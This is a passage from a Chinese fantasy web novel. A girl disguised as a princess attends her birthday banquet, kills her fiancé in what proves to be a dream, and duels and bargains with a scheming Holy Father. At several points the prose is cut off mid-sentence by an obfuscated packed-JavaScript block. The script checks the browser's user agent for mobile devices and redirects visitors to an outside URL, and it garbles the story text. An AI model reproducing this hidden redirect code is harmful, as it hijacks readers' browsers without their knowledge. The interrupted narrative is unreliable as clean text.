现在凯特罗琳马上要招到贵婿，碧翠丝的地位更加不保。 卡特琳娜没见过碧翠丝，但大概知道是一个不太好惹的后妈。她觉得有趣，以前是她做玛利亚的后妈，原来她自己也是有一个后妈的。 不对，不是她自己，她现在还不是真正的凯特罗琳。 镜影谬换术只是视觉上的掩饰，并不是真正意义上的身份交换。 一个人要取代另一个，大概是镜子魔法学中最深奥的部分了。她还需要更长远，更深层的谋划。 “是吗？碧翠丝的家族不正是贱民出身？我看她也不该在神圣的王宫，而是在火刑柱上。” 卡特琳娜随口一说。 “哈哈哈，我开玩笑啦。” 旁边的事务官和化妆师立即不敢说话，战战兢兢地为公主服务。 她们发觉最近公主的情绪变化不太稳定，就像是两个不同的人。原本善良纯洁的公主，总是会冷不丁冒出几句令人心里发颤的话。 好像是她跟那个叫凯妮丝*库克的女孩成为朋友之后，变化开始出现的。 “凯特，哇，你今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128657|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天太漂亮了吧。” 斐丽佳和诺维雅到公主的房间来找她说话，一进门便做出惊叹的语气，“可惜凯妮丝不愿意来，我们特意跟她说了可以带她一起，让她见识见识王宫的宴会长什么样。但她宁愿躺在宿舍睡大觉，也不愿意来参加你的生日宴会。” 她们口气很酸，显然对凯妮丝和公主走得很近极不满意。但她们永远也想象不到，眼前的公主就是她们嘴里吐槽的那个贱民。 卡特琳娜瞧了她们一眼，笑着说：“她已经跟我说过了。她不来也好，应付那些乱七八糟的大人，会让心情变差。对了，研习社的功课你们做完了吗？” 说实话，卡特琳娜并不讨厌斐丽佳和诺维雅。这两位会成为十四仙女中的五月和六月仙女，她们会给凯特罗琳的女儿卡特琳娜最美好的祝福。 她们只是年纪还小，被贵族奢靡的生活迷惑了心智，难以辨别是非。 卡特琳娜相信她们具有巨大的潜力，在她的帮助下这两个女孩能够成长起来。她不急，成长往往不是一蹴而就的。 比如研习社，虽然现在只是让她们帮忙收集一些魔法学材料，抄录几本魔法学遗本，但长此以往，她们会受到潜移默化的影响。 “当然都做了！”斐丽佳将自己做了月亮铃拿了出来，朝卡特琳娜挤眉弄眼，“看，我不仅按研习社的要求找到了珍贵魔法学材料，还用这个材料龙骨给你做的生日礼物！” 卡特琳娜很惊喜，从她手里接过，“我很喜欢。” 斐丽佳是将军家的女儿，她的祖先与巨龙战斗过，家里珍藏着一些龙体标本。龙骨属于可遇不可求的珍贵魔法学材料，有着抵抗幽冥、化解谜障的功效。 “我实力有限，这月亮铃可能无法有太强力的魔法效果。但你可以把它挂在窗台，让你少了侵扰做个好梦。” 卡特琳娜替凯特罗琳握住了她的手，真心地说：“真的很感谢，正是我需要的。” “还有我呢，不问我给你什么礼物吗？” “是什么？” 诺维雅比斐丽佳更讲究礼节，给出了一个精致的木盒子。卡特琳娜将盒子拆开，发现里面是一个栩栩如生的木偶娃娃。 以她为形象的木偶娃娃。 诺维雅父亲是内阁大臣，爷爷是魔法学物灵派的巧匠。她以后会在学院深造，专攻魔法制作学。她的雕刻手艺极佳，将木偶娃娃做得就像是缩小版的凯特罗琳。 “我真的是太喜欢了。” 卡特琳娜由衷感叹道，这个木偶娃娃具备的功效非常强大，有着完全的替身作用，能够替凯特罗琳抵挡致命一击。 即使是镜子替身术，也难以与这样的木偶替身相提并论。镜子替身术是需要主动发动，如果事态紧急，或者是陷入了神志不清的状态，镜子替身术便无法起作用。 但这个与凯特罗琳产生了完全联系的木偶替身则不一样，它是被动发动的。只要是凯特罗琳受到的致命一击，都只会在木偶替身上起作用。甚至在木偶被修复之后，它还能够继续作为替身。 她甚至不等化妆师帮她整理好，便站起来拥抱了诺维雅。 “你们送我的礼物实在太有心意，让我都不知道下一次该送你们什么才好。”卡特琳娜让事务官将礼物收好，开始为宴会做最后的准备工作。 斐丽佳笑得得意，说：“是啊，我们是真心爱你，才会费尽心思送你喜欢的礼物。可是那个凯妮丝呢，她送了你什么？” 卡特琳娜知道这只是小女孩在吃朋友的醋。 她看着镜子里凯特罗琳完美的形象，也是在看着她自己。她笑着回答说：“凯妮丝不需要送我任何东西，她对我来说，就是最珍贵的礼物。” 78. 生日祝福 卡特琳娜看着镜子里的人，几乎确定她就是凯特罗琳*古奥斯。 她穿着精美银线绣成的蓝色公主长裙，裙摆随她的步伐轻轻飘动，与夜色交融。独特的手工技艺勾画出如梦似幻的花纹，既不显得张扬，又透露出王室优雅的贵气。 她的银色长发被高高盘起，饰以一顶金色镶珠的公主冠，细长的钻石流苏耳饰微微垂下，令肌肤都充满晶莹的光泽。 在她从宫殿深处缓步走出后，笑声阵阵的贵族和王室成员突然安静下来。她宛如一道光束，划破了宴会的喧嚣，所有视线都集中在她的身上。 在璀璨灯光和欢快交响乐的交织中，国王托因比拉着女儿的手向来宾们致辞。 卡特琳娜的注意力完全不在国王的客套话上，她的眼睛扫过大厅，最终落在了圣父肯*沙穆的身上。 他站在不远处的一张圆桌旁，穿着教皇圣洁的金色长袍，面容肃穆，神情祥和。 他似乎察觉到了卡特琳娜的目光，毫不掩饰地与她对视，甚至微微一笑。 之前克里斯托弗的事件后，卡特琳娜坚信肯*沙穆已经察觉了她并非凯特罗琳，却碍于她手中握有他的把柄而没有立即行动。之后，卡特琳娜以凯妮丝的身份多次与凯特罗琳进行镜影谬换术，又让两人的友谊完全暴露在众人眼前。 肯*沙穆肯定能够推断出当时与公主进行身份交换的人就是凯妮丝，但他却一直装作什么都不知道。 这是卡特琳娜疑惑的关键点，她一直在等待肯*沙穆对她动手，却迟迟不见他有特别的反应。 他所做的，似乎就是重新选送了学生修士到学院进修，将自己的脸糊上一层浓厚的圣光，让人更加看不清他的模样。 卡特琳娜不是那么被动的人，既然肯*沙穆按兵不动，就由她主动出击。 “……最后，请我们伟大的圣父给公主献上祝福。”托因比说完了一套致辞，邀请教皇上台。 肯*沙穆从容地走到了台上，代替的国王的位置，站到了卡特琳娜的身边。他微笑着拾起公主的玉手，开始诵着祝福语，乐队也随之奏响悠扬神圣的音乐。 这是教会传统的古狄埃祈祷经文，让听者如沐圣光。 “主神在上！” “主神在上！” 现场宾客纷纷随之祈祷，为生日的公主献上祝福。整个场面和谐温馨，爱意满满。 祈福结束，肯*沙穆放开了卡特琳娜的手，却发现公主仍抓着她。 公主银色的眸子在五彩的灯光下显得幽深，她能从肯*沙穆的瞳孔里看到自己原本的样子——凯妮丝的面孔。 不用再过多试探，他确实知道一切，却一直伪装。 “听说最近费里特出现了好几起案件，与几个月前阿伦的案件非常相似，都是死于精神分裂后的自杀……”卡特琳娜声音很低，在喧哗中，只有肯*沙穆能听到。 肯*沙穆笑着，也回握住她的手，说：“似有耳闻，不过公主怎么突然在大好的时候提起这种事情。” “因为自从阿伦死后，我时常做噩梦，梦到他被杀害的场景。杀害他的人跟他长得一模一样，圣父，你告诉我，这个世界上会有长得一模一样的两个人吗？还是说阿伦真的是自己精神分裂而死？” 肯*沙穆将另一只手放在了卡特琳娜的头顶，让她感觉到一股温暖的力量。 “公主，是我的错。我忽略了你在阿伦事件中受到的伤害，没有及时对你进行心理疏导。每周告解应该被重新提上日程，由我亲自进行。” 他说完，便在众人的目光中退下。 教会与王室有着极密切的联系，王室严格遵守着宗教活动的规则。刚出生的孩子要接受洗礼，成年仪式、结婚典礼需要由神见证。每周礼拜日要去教堂做礼拜，接受神的审视，除了祷告外，必要时还要在告解室与牧师进行深入沟通。 虽然公主的生日宴会不是什么正式的典礼，但却有着相当繁琐的过程。在她相继接受了重要人物的祝福之后，终于迎来了今晚大家都期待的场面。 邀舞。 被宣告为公主准未婚夫的亨利*戴维德身着华贵的深色礼服，一直站在肯*沙穆的身后。在宴会进行到邀舞的阶段，他在众目睽睽之下来到了公主面前，请求合舞。 卡特琳娜对面前这个亨利没有什么特别的印象，虽然他穿着华丽、样貌俊美，但要说华丽，他比不过肯*沙穆，要说俊美，他比不过海因里希，所以卡特琳娜对他提不起任何兴趣。 作为未来的王位继承人候选，亨利显得稚嫩而紧张。 他弯腰朝卡特琳娜伸手，迟迟未见公主接受，略有些尴尬：“殿下？” 他抬眼，看到自己的“公主未婚妻”微微挑起了眉，懒洋洋地将手放在了他的手中。他心中雀跃，握住了公主的手。 早听说凯特罗琳公主美貌非凡，如今一见令他倾心不已。这个机会对他来说实在太过于重要，他一定要把握住。 亨利试图将她带到舞池中央，但卡特琳娜却没有立刻挪步，她慢慢地、端详着眼前的这位“准未婚夫”。 “我不会跳舞。”她对亨利*戴维德说。 亨利愣了一下，嘿嘿笑了两声：“真是有趣，你在开玩笑吗？” 她没有骗他，她确实不会跳舞。她不是凯特罗琳，她没有接受过宫廷礼仪的教育，她一丁点跳舞的基础都没有。 流花节的时候，她伪装成凯特罗琳邀请了修士阿伦跳舞，由于太过于离经叛道，引起了宫廷的热议。她只是跟阿伦牵着手跳了两步便被事务官拉走，没有机会让人目睹她的舞姿。 她随着亨利*戴维德的牵引来到了舞池中央，乐团的音乐奏响，他们两人是所有视线的聚焦点。 亨利真以为公主是在跟他开玩笑，但第一步他的脚便被踩得很痛，他却不敢嚎叫出声。但第二步、第三步、第四步，步步都踩在他的脚上，真是令人感到折磨。 公主的裙摆很长，没人能看到她的脚步，倒是让人看到了他满头大汗、双腿打颤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“殿下，我有幸能请您共舞吗？” 内利*泰勒，警察局的探长，竟然敢混到了公主的生日宴中。尽管出身不错，但他作为无信仰者，是众人排挤的对象。他特意出现在这个场合，还主动邀请公主跳舞，实在是令人惊讶。 “我有些累了，泰勒探长，喝一杯聊几句倒是可以。”卡特琳娜笑着回答他。 内利*泰勒作为王国荣誉勋章的获得者，虽然身份低微，但确实有资格参与类似的非正式宴会。 他点点头，从旁边的桌上拿了酒杯递给公主，说：“跳一支舞确实很累，看亨利*戴维德双腿都打颤。他一个男子都这样劳累，更何况公主。” 卡特琳娜也笑，说：“探长就不用跟我废话了，想说什么就直说吧。” 她知道内利一直都没有放下阿伦*沙穆的案子，不仅将当时的疑点送到了王室还送到了教会。他实力不凡，敏锐力极佳，甚至不屈于权威。 他多次想要面见公主都被事务官拦住，没想到他竟然还是能到这里来。 她转过头，没看到事务官，看到了斐丽佳和诺维雅朝她使眼色。这让她明白，是这两个姑娘帮了探长的忙。 “凯妮丝*库克有问题。”内利*泰勒面色沉重，语气笃定地说，“她一定与阿伦的死有关，殿下你必须警觉！” 79. 深夜交战 “阿伦不是因为涉及多学派研学导致精神分裂自杀致死的吗？”卡特琳娜装作听不懂内利的话，反而是问道，“怎么会跟凯妮丝有关？探长你是发现了什么新的线索吗？难道是最近城里出现了多起多学派研学导致精神分裂自杀事件……” 内利面色冷硬，道：“殿下，再多的话我也不方便透露。但我能告知的是，你应该离凯妮丝*库克远一点。” “我知道了。”卡特琳娜微微笑着，她知道从内利*泰勒的口中问不出重要的信息，这个男人的嘴巴很紧。她又问：“你找我，还有别的话要说吗？” “殿下，当时你所说的梦中见到的凶手，你无法描摹出他的面貌，还是描摹出来之后他的面貌却消失了？”内利有很多问题想要问，但这种场合他不可能与公主说得太多，便只能挑选最重要的问题。 “消失了。”卡特琳娜如实回答，“我可以很坦诚地告诉您，即使过去了这么久，这件事依然是我心中的噩梦。我可以向您描述，凶手长得与阿伦*沙穆极其相似，但他的名字叫做克里斯托弗*莱斯利，与阿伦*沙穆是不同的人。” 并且，她主动透露了更加重要的信息：“探长，很抱歉之前不得不向您隐瞒。其实我与阿伦私交甚秘，这是王室所不允许的，所以当时我无法坦白。据我所知，阿伦也一直遭受着噩梦的影响，梦中那个叫做克里斯托弗的男人疯狂追杀着他。所以，他从教会中得到了一份秘典，从而对监督者13号进行了相应的研究。我想，如果您要继续追查下去，也许得密切关注教会的动向。” 她说完这些话，旁边便有别的人招呼过来，都是些王亲贵胄。内利*泰勒不得不被挤开，但他显然被获得的重要信息震撼，不再在宴会驻足，很快便离开了。 卡特琳娜与人交际了一会儿，国王托因比和王后碧翠丝回到了现场，教皇和休息好了的亨利*戴维德也现身。国王让大家移步，广场将放射烟花，请所有人移步花园观赏。 卡特琳娜本该站在托因比旁边，但她实在看不惯碧翠丝，懒得站近过去，便挪到了圣父的旁边。亨利*戴维德有些惧怕她，却碍于准未婚夫的身份不得不挤过来。 于是，卡特琳娜便被夹在两个男人中间。 “生日快乐。”在第一朵烟花绽放的时候，旁边的圣父肯*沙穆对她说道。 卡特琳娜侧过头去，看到圣父的面孔在烟花映出的五色光芒中显得更加圣洁不可侵犯。她突然有了一种想要释怀的冲动，记忆中的所有的委屈和不甘都褪去了颜色。 她不得不使劲掐着自己的手指，让疼痛提醒自己绝不能忘记。 所有的一切都是假的，她告诉自己。 她不是凯特罗琳本人，她站在这里的目的是要变得更加强大，得到无限的权势，解开时间轮回的谜题，找到回去自己原来世界的方法。 这些看似美好的一切都是假的。 如果凯特罗琳甘愿被人掌控，那她只会变成一个让丈夫成为国王的跳板，王室也只会被教会更加深入渗透，成为被推到前台的挡箭牌。 虽然所有人都没有明说，但大家都知道，这个国家权势最大的人根本不是国王，而是教会的主人教皇肯*沙穆。 他身上的秘密才是她突破的关键。 “生日快乐！” “生日快乐！” 紧接着便是无数的祝福向卡特琳娜袭来，她微笑着全盘接受。 在宴会结束之后，她回到了自己的房间。本应该与学院宿舍真正的凯特罗琳换回来，但她有着某种预感，通过镜子对凯特罗琳说自己太累了，明天再见面。 洗漱沐浴之后她便躺在了床上。 大概是很少在王宫中过夜，她睡得极不安稳，她总感觉有人在盯着她看，就像是被监视着。 拜厄的十二月已经降些了温，但还不是特别冷，夜间室外不到十度，但室内保暖充分的情况下是十多度，很适宜睡眠。 卡特琳娜做了噩梦，她似乎听到了斐丽佳送她的月亮铃的声音。 月亮铃由龙骨制成，一般情况下即使是风吹都不会有响动，除非是恶灵侵袭。卡特琳娜被惊醒，坐起身来，看向窗边的月亮铃。 铃铛静静地垂在原位，没有丝毫动静。 难道是噩梦吗？ 她拉了拉被子准备重新入睡，却发现被子旁边鼓出来一大块，里面似乎有什么东西。 卡特琳娜立即警觉，她惊呼：“谁？！” 她抬腿就往旁边踢过去，却发现自己的脚踝被人捉住。她当机立断，将枕头下藏的匕首，将被子掀开，狠狠刺了过去。 “殿下！是我！” 匕首的刀刃抵在来人的脖子上，卡特琳娜终于看清了他的面孔。竟然是公主的准未婚夫亨利*戴维德，他松开了抓住卡特琳娜脚踝的手。他光着身子，举起双手做出投降的姿势。 “你怎么会在我的床上？！”卡特琳娜气急，抓住他的头发将他按倒，用匕首在他的皮肤上压出了一道血痕。 “殿下……我们，我们已经是未婚夫妻，我的使命便是帮助您诞生王室继承人，所以，所以……”亨利*戴维德慌张解释着。 “是谁放你进来的？”卡特琳娜面色极不好看。 “是，是国王陛下准允的……” 卡特琳娜暗暗想着，幸好她没有与凯特罗琳换回去，不然以凯特罗琳的性格，不一定能拒绝得了。 她恨极了这种将女人当做生育工具的行径，凭什么王位就非得要男人才能坐？为了让男人继承这个王位，不仅利用她的婚姻，还要牺牲她的子宫，让凯特罗琳放弃所有的自由。 卡特琳娜心里的气太不平了，她很难控制住内心的冲动，一刀插在了亨利*戴维德的大动脉上。 匕首拔出后，男人的鲜血瞬间喷涌出来，他瞪大了眼睛，说不出话来，伸手去捂自己的脖子。但他无能为力，只能眼睁睁看着血液流尽，感受着心脏停止跳动。 他的鲜血染红了卡特琳娜的床，还是温热的。 她的蕾丝睡衣也都沾满了鲜血，粘稠的、血腥的、肮脏的。 月亮铃又“叮铃”了一声，似乎是被风吹响的。 卡特琳娜手里握着匕首，走到窗边，将窗帘拉开。月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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肯*沙穆一直知道她就是凯妮丝*库克，甚至还知道她连凯妮丝*库克的身份都不一定是真的。果然他按兵不动，是一直在对她暗中调查。 这与她的计划不谋而合，她愿意公开与公主之间的友谊，就是为了让肯*沙穆注意到她。 甚至连内利*泰勒也对凯妮丝起疑，一切都在她的掌握之中。 燃烧的火焰变得剧烈，竟然让大理石的地面暂时形成了一个巨大的镜子。卡特琳娜将手伸过去，然后她的手变得巨大无比，从地面冒出抓住了肯*沙穆的双脚。 这是镜子魔法的一种，镜子放大术。 “这么大的动静，你不怕引起宫卫的注意？”肯*沙穆轻笑一声，似乎对自己被抓住并不在意。 卡特琳娜从地面的镜子中冒出来，放大了数倍，俨然一个三四米的巨人。她根本无惧会引人注意，直接抓了肯*沙穆在手里，直起腰背将天花板顶破。 “既然圣父大人敢在深夜闯入公主房间，那肯定是有所准备。我相信圣父大人的实力，绝对不会引起任何人的注意。” 虽然她变成了巨人，但也不想把力气浪费在结实的建筑材料上。她将窗户打破，从三楼轻松踏步到了花园中。 月色正好，深夜寂静。 肯*沙穆被握在她的手心，又是微微一笑：“不愧是琼*库克的女儿，不仅魔法实力惊人，连判断力也相当准确。” 他的话语变相承认了这里的特殊。 卡特琳娜不太分得清是隔绝的空间还是别的什么，但她知道她必须全力以赴与肯*沙穆交手了。 80. 成为真神 卡特琳娜将肯*沙穆捏在手里，正用力要将他捏碎，却突然被花园中抽出的蔓藤绊住了脚。 与之相应，无数的乌鸦自夜空飞来，将月色遮挡，它们如同一枚巨大的利箭直刺向卡特琳娜。 卡特琳娜感觉到手疼，垂眼一看发现手中的肯*沙穆竟然变成了一棵小树。她立即将树扔掉，避开乌鸦们的攻击，四周观察肯*沙穆的所在。 她心里的疑惑越发深刻，按照之前与肯*沙穆的接触来说，他应该是人灵派的巫师才对。但现在的交战过程中，他展现出来的是经典的物灵派魔法。卡特琳娜有了某种猜想，她将自己早已准备好的火石粉洒了出去，然后嘴里念诵着咒语。 瞬间，火石所到之处便燃烧了起来。 肯*沙穆控制的藤蔓和从天空俯冲向她的乌鸦都化作了熊熊烈焰。 但形势反而没有对卡特琳娜有利的趋向。 即使藤蔓和乌鸦都着了火，它们却像是被完全控制住了恐惧一般，依然顽强地纠缠卡特琳娜。 卡特琳娜化作了巨人，身体变得笨重，不得不跑起来四处躲避，将花园踩得狼藉一片。火鸦组成各种各样的武器形状向她攻击，在她避开后会在王宫的建筑上留下毁败的痕迹。 即使他们的战斗如此剧烈，沉睡的人们似乎毫无察觉，没有任何人出现。也许，不是他们不出现，而是卡特琳娜和肯*沙穆到了另外的空间当中。 卡特琳娜的镜子放大术很快失去了效果，她变回了原来的体型，趁着藤蔓和火鸦失去方向，瞬间利用镜子转移术移动到阴影处。同时，她发动了镜子隐身，隐匿了自己的踪迹。 世界突然安静了下来。 燃烧的火鸦最终成为了焦炭，一只一只从天上落下。烧尽的藤蔓也没有了生命的活力，变成了被风走的无数灰烬。 肯*沙穆绝对没有离开，他会在哪里？ 卡特琳娜的后背不禁留下冷汗，虽然这场战斗是她意料之中的情况，但面对实力不明的强劲敌人，她忍不住紧张而兴奋起来。 这段时间，她重新整理了凯妮丝的记忆，巩固了自己的魔法学基础。虽然专攻镜子魔法，但她也从克里斯托弗*莱斯利那里获知了一些幽灵魔法学。 其实官方所公开的并没有错，克里斯托弗*莱斯利确实同时在学习物灵派和人灵派魔法。学习物灵派魔法，是因为他作为教会的学生修士，被教会安排往这方面进修；而人灵派的幽灵学派魔法，则是因为他仗着自己是幽灵之国的幽灵，认为自己有着先天的优势。 他身上展现出来的特殊，卡特琳娜认为与多学派研学应该无关。因为他对监督者13号进行的幽灵学派魔法并不是简单的类型，甚至他准备使用的换魂术更是高阶中的前列。 但卡特琳娜在与克里斯托弗交谈的过程中，她并没有发现他存在精神异常的情况。虽然他现在是逐渐虚弱的幽灵状态，但他似乎不受多学派研学的影响。 之前卡特琳娜就有过疑虑，她脑袋里闪过了一个想法——多学派研学会导致巫师精神异常，这件事很可能是一个天大的谎言。 因为，她现在亲眼目睹了肯*沙穆施用物灵派魔法，而之前他用幽灵学派魔法将克里斯托弗*莱斯利召唤到阿伦*沙穆的身上。 考虑到肯*沙穆身上的奇异点，百岁高龄和与两个莱斯利相似的长相，让卡特琳娜充分怀疑他很有可能也是来自幽冥之国的幽灵。不然，无法解释为什么他既是人灵派的顶尖巫师，又能灵活运用物灵派魔法。 “我的孩子，我知道你内心的痛苦。” 月光下，肯*沙穆的身影再次出现，他沐浴着圣光，像是夜晚的神圣使者。就连他的声音都充满着圣洁的感觉，让卡特琳娜情不自禁看过去。 “现在就是你向我告解的最好的时候，我会聆听你曾犯下的罪孽，抚平苦难在你身上留下的伤口。”肯*沙穆和蔼温柔地叫着她，“凯妮丝，我的孩子，只要你愿意叫我一声圣父，我就会原谅你犯下的所有过错。” 他的声音中似乎有着某种魔力，差点让卡特琳娜解开隐身术。 她早就知道肯*沙穆有着蛊惑人心的力量，所以她一早准备了柠檬片。她立即将柠檬片含在嘴里，极端的酸让她保持清醒。 但很快，她就知道肯*沙穆刚刚说那些话并不是为了蛊惑她，而是为了寻觅他的踪迹。 一道黑色烟雾聚成了恶犬猛然冲她而来，将她的镜子隐身术冲破。 柠檬的味道让她清醒，却也成为了恶犬追踪她的靶标。 “找到你了，我的孩子。”肯*沙穆在月色下露出欣然的笑容，顺着烟雾恶犬的方向看过去。 卡特琳娜立即利用镜子转移术移动到喷泉边上，但她很快感觉到背后有一个巨大的阴影覆盖住了她。 肯*沙穆也瞬移到了喷泉处，将她整个人遮蔽起来。 “我以为，你是想要杀我，怎么只是逃跑呢？” 卡特琳娜当机立断，从镜子空间中拔出一柄短剑，反身便往肯*沙穆刺过去。但身后的肯*沙穆竟然不是真人，而是一团烟雾，瞬间消散了。 “你是真心想要杀我吗？孩子。” 卡特琳娜朝声音发出的方向看过去，发现肯*沙穆站在十米外的花坛处。 然后她飞奔过去，猛然插向他的胸口。 但他再次消失了，这一次出现在二十米外的花园边缘，再往后便是王宫广场。 “你是真心想要杀我吗？孩子。” 卡特琳娜异常警惕地慢慢靠近，走到了离肯*沙穆一两米处。她没有轻举妄动，紧紧盯着他看。 如果能杀了他当然是好的。 虽然不太有信心，但卡特琳娜还是刺了过去。 又消失了，肯*沙穆离她更远，站在了王宫广场中。 “你知道你为什么杀不了我吗？”肯*沙穆依然笑着，就像她的多次尝试不过是小孩子讨糖吃却讨不到，“因为你不相信你自己能杀我。” 卡特琳娜胸口起伏，喘着气，慢慢让自己的呼吸平静下来。 她还是凯特罗琳的模样，穿着宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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即使是她自己，都怀疑过她记忆中作为白钰在地球生活的时光是臆想出来的幻觉。但她想要那样相信，不然她会失去一切支撑。 如果她不再寻找回到原来世界的办法，她不知道自己在这里会有什么意义。 “你不是凯特罗琳*古奥斯，但你是纯血古奥斯后裔。”肯*沙穆仔仔细细看着她的脸，做出了评价，眼里闪过杀意，“你比任何人都更适合成为拜厄的继承人，但可惜的是，继承人不能是女人。而且，我也不需要一个野心勃勃的继承人。一个温顺的傀儡，一个臣服的家族，才更有利于我的统治。所以，凯妮丝，你告诉我，我留你命的理由是什么？” 他倒是一点都没有藏。 卡特琳娜敢以卵击石，自然是知道自己作为卵的珍贵之处。石头为了不伤到她，甚至会有所避让。 她笑了一下，回答：“我的圣父，那当然是因为，您的目标根本不是统治区区拜厄或者是北大陆。” “那你说，我想要的是什么？” 她顿了一下，答： “您想要，成为真神。” 81. 交易达成 一道雷鸣在夜空中划过。 “你好大的胆子。”肯*沙穆听到她的回答，也不禁变了脸色，“你可知自己在说什么？” 卡特琳娜没有回避他的视线，继续说：“我当然知道，我也知道我在这里所说的一切不会被真神所察觉。” 这里是比之前克里斯托弗制造的魔法空间更加高级的隐秘空间，能够完全隔绝外界。以肯*沙穆最强的实力，即使是神明也无法轻易触及。 肯*沙穆放开了卡特琳娜，哈哈笑了两声，道：“真有意思，你这小家伙，究竟是从什么地方来的？” 他仔仔细细端详了卡特琳娜一会儿，见她平静无波，又说：“你身上的秘密对我来说，对全知神来说，都是透明的。全知神无所不知、无所不在，作为神谕的聆听者，我自然也能知道一些我想要知道的事情。” 卡特琳娜依然面无表情。 他继续说：“是你杀了阿伦*沙穆，将他的灵魂拘禁了起来。然后你又伪装成凯特琳娜来阻碍警方对案件的侦查，甚至还对关键证人监督者13号进行了灵空间的改造。你做的这一切天衣无缝，即使是最佳探长内利*泰勒来查，也无功而返。 “但可惜的是，你遇到了我。我是所有人的圣父，也是你的圣父。你内心对罪孽的忏悔自然会被我听到，我知道关于你的一切。” “并不是一切。”卡特琳娜忍不住打断了他。 她并不相信他说的这些神神叨叨的话，他能知道她的秘密绝对有别的原因。卡特琳娜突然想到了之前克里斯托弗的话，他说圣父似乎知道每个人在想什么。 这很像读心术，但却不是无时无刻都在发生的，似乎有着某种契机。 肯*沙穆轻笑了两声，说：“是的，并不是一切。你的来历，你的未来，我还不太清楚。我不是神，我不能知道一切。 “但是，凯妮丝，你知道镜子魔法的最高境界是什么吗？” 卡特琳娜略有疑惑地抬起头。 “只要是在镜子面前所发生过的一切都能够被记录，被镜子所知道。而镜子，可以是万物。”肯*沙穆摸着她的头，就像是老师对着学生传道解惑，语气宠溺，“如果你能成为最强大的镜子魔法巫师，你就能够知道这世界上发生过的一切，甚至能够通过历史窥视未来——无限接近于全知。” 他的话令卡特琳娜的情绪意外地起了变化，她突然想起很久以前米洛对她说过——只要是镜子前发生过的事情，魔镜都能够去了解并告诉她答案。 米洛是一面虚幻的镜子，为什么它的能力像是肯*沙穆所描述的最强大的镜子魔法巫师？ 也许，也许，事情并不是她一直所想的那样…… “你开始害怕了，为什么？”肯*沙穆问。 卡特琳娜很快整理好自己的情绪，说：“这听起来，像是取代神的权柄，我当然会感到害怕。” “你想要什么，凯妮丝？”肯*沙穆眯起眼睛。 卡特琳娜知道这个问题她必须面对。肯*沙穆愿意与她说这么多话，当然不是因为他话多，而是他有能够利用她的地方。 这也是她敢直面圣父的原因。 “我想要回到永夜之都。”她说，“圣父大人，我相信我不需要对您有任何隐瞒，因为您都知道。我拘禁阿伦*沙穆的原因，是我知道他是洛库斯阿尼马的居民。那里是离永夜之都最近的地方，而我，我失去了记忆，我不知道我的来处。但我心中一直有一个想法，就是回到我的故乡——永夜之都诺尔南都拉尼亚。” 肯*沙穆的表情再次出现了变化，他似乎也没有想到凯妮丝能够对他这样坦诚，竟然将永夜之都这等隐秘告知。 “如果您想要要回阿伦*沙穆的灵魂，我愿意将他奉还。”卡特琳娜向他抛出了投诚的信号，“我跟您一样，我对拜厄、对王室、对统治毫无兴趣，我想要的只是回家。” 长久的沉默让这个空间显得更加诡异。 卡特琳娜觉得她已经与肯*沙穆达成了某种共识，但她还需要从他那里获得确信。 “圣父，如果可以的话，让我成为您的刀，我愿意为您做任何事情。”卡特琳娜突然跪地，向肯*沙穆行了大礼，“我的实力您已经见到，我相信我自己还有成长的空间。我想要回家，只要您愿意引领我……” “孩子。”肯*沙穆打断了她的跪拜，将她从地上扶起来，“你等到现在才说这些，就是为了让我看到你的实力？” “是的，我一直精研魔法，就是为了能让圣父大人您看到，让您相信我有资格成为您的刀。除了回家之外，我别无所求。”卡特琳娜握住他的手，态度诚恳。 肯*沙穆的手大而温暖，充满力量。卡特琳娜心想，总有一天，她也要拥有同样的力量，甚至比这还要更加强大的力量。 “作为圣父，肯定是给予我的孩子最坚实的支持。孩子，你现在想要的是什么？告诉我。” “我想要监督者13号。”卡特琳娜回答说。 “哦？”肯*沙穆了然地笑起来。显然他知道克里斯托弗在监督者13号身上施加的幽灵学派魔法，知道监督者13号的灵魂已经被幽冥之国中的某个幽灵所取代。 他却故意问：“为什么？” 卡特琳娜回答说：“幽冥之国不是永夜之前吗？我似乎认识她，也许我能从她身上寻找到我想要的。” 肯*沙穆沉默地笑着。 然后，夜晚在卡特琳娜的眼中变得模糊起来，她耳边似乎响起了月亮铃的声音。 她突然睁开眼睛，发现自己躺在公主的大床上。 她身上穿着干净的蕾丝睡衣，满头大汗。她往旁边摸过去，没有亨利*戴维德，也没有任何人的尸体。 卡特琳娜立即起身下床，赤脚走到窗边拉开窗帘，发现天已经蒙蒙亮。花园里一切静好，王宫各处也没有任何损坏。 发生的一切都不过是她的梦。 “早上好！” “早上好！” 卡特琳娜被突然响起的声音惊醒，她侧过头去，看到一只小鹦鹉飞过来落在了她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这可让凯特罗琳愁得不行。 自从体验过自由的好处后，她就不乐意被困在枯燥的王宫。学院是她能够稍微卸下肩上担子的地方，但亨利的出现将她所有的节奏都打乱了。 